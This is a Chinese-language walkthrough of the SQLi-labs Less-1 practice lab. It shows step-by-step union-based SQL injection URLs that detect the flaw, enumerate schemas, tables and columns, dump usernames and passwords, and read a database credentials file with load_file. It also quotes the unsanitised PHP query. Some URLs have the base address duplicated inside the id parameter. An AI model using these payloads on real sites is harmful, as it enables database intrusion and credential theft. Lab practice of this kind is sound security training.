1. 判断是否存在sql注入
http://127.0.0.1/Less-1/?id=2 正常
http://127.0.0.1/Less-1/?id=2' 报错
http://127.0.0.1/Less-1/?id=2' and '1'='1 正常
http://127.0.0.1/Less-1/?id=2' and '1'='2 报错
存在sql注入
2. 确定字段数
http://127.0.0.1/Less-1/?id=2' order by 3--+ 正常
http://127.0.0.1/Less-1/?id=2' order by 4--+ 报错
字段为3
3. 确定回显点
- http://127.0.0.1/Less-1/?id=-2' union select 1,2,3--+
将2改为-2使union之前的报错，查询 1，2，3 结果 2，3回显，所以可以在2，3处构造查询语句，下面以在3处为例
4. 信息收集
- 判断数据库类型
http://127.0.0.1/Less-1/?id=2' 错误页面显示mysql数据库- 获取数据库版本
http://127.0.0.1/Less-1/?id=-2' union select 1,2,version()--+- 数据库用户
获取系统用户名：
http://127.0.0.1/Less-1/?id=-2' union select 1,2,system_user()--+
获取用户：
http://127.0.0.1/Less-1/?id=-2' union select 1,2,user()--+
获取当前用户：
http://127.0.0.1/Less-1/?id=-2' union select 1,2,current_user()--+
获取连接数据库的用户：
http://127.0.0.1/Less-1/?id=-2' union select 1,2,session_user()--+
5. 获取数据
- 数据库信息
方法一：
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+
方法二：
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
返回结果：
information_schema,challenges,mysql,performance_schema,security- 数据表信息
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
十六进制法：
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)--+
这里也可以使用当前库法：
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
返回结果：
emails,referers,uagents,users- 数据列信息
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
也可以使用十六进制法
返回结果：
id,username,password- 获取数据
单条获取：
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select concat_ws('~',username,password) from security.users limit 0,1)--+
获取所有：
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(username,'~',password) from security.users limit 0,1)--+
注："~"可以使用0x7e代替
6. 提权
mysql不能直接执行系统命令，所以只能通过读写文件的方式完成提权
1. 读文件
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select load_file('/var/www/html/sql-connections/db-creds.inc'))--+
执行上面的命令后需要查看源代码才能在网页中看到文件内容
2. 写文件
源码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
#没有对id做任何处理就直接带入到数据库中执行
